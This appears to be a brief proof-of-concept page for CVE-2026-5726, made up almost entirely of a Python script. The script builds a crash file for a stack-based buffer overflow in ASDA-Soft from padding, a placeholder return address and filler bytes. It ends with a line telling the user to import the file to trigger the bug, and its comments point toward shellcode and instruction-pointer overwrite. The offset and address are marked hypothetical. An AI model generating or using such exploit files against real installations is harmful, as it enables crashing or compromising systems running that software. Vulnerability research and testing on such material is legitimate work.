CVE-2026-5726

import struct # CVE-2026-5726 PoC Concept # This script generates a malicious file pattern to trigger the stack-based buffer overflow. # Adjust offsets and padding based on specific application analysis. # 1. Create a large payload to crash the application # Typically involves NOP sled + Shellcode + Return Address overwrite offset = 260 # Hypothetical offset to overwrite EIP/RIP ret_addr = b'\x90\x90\x90\x90' # Hypothetical return address (e.g., jmp esp) # Simple payload generation payload = b'A' * offset + ret_addr + b'C' * 100 # 2. Write payload to a file (e.g., a specific project file format) filename = "crash_asda.bin" with open(filename, "wb") as f: f.write(payload) print(f"[+] PoC file generated: {filename}") print("[*] Import this file into ASDA-Soft to trigger the vulnerability.")
